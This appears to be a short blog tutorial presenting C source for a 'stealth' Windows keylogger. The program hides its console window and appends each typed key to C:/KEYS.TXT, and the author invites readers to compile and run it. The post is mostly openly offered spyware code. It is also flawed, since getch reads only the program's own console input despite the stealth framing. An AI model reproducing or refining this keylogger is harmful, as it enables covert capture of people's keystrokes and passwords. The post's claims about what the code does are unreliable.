Writing a very basic keylogger in C

There are several keyloggers written on the internet, most are very bogus while some are as little as 5kb. Well, the basic purpose of a keylogger is to capture keystrokes without being detected. Here I’d show you how to write a basic stealth keylogger in C.

This is not a keylogger you should use in the real sense because it does not contain any cryptography, I’m just showing you how a basic keylogger is written in C.

Here is the code.

# include <stdio.h>
# include <conio.h>
# include <windows.h>
# include <winuser.h>
# include <iostream.h>

int main ( void )
{
    int cha;
    char ch;
    FILE *fptr;
    HWND stealth; /*creating stealth (window is not visible)*/
    AllocConsole();
    stealth=FindWindowA("ConsoleWindowClass",NULL);
    ShowWindow(stealth,0);  // we hide the cli
        while(1) // we begin the loop to capture the keys
        {
            if ( kbhit() ) // detects a keypress
            {
                ch = getch();
                cha = ch;
                fptr = fopen("C:/KEYS.TXT", "a+"); // write a file to store the key strokes on our hard-drive 
                fputc(ch,fptr);
                fclose(fptr);
                    if ( cha == 27 ) // this is ESC key we just move on
                    {
                    return 0; 
            }
        }
    }
}

OK, there are more sophisticated methods of writing keyloggers nowadays but I’m sure you get the idea here. Please comment below and let me know if you got it to work or have any questions.

I recommend using Dev-C++ to compile this code on windows which you can download here.

I write codes... web, mobile, desktop and hack stuffs

2 Responses

Leave a Reply

Your email address will not be published. Required fields are marked *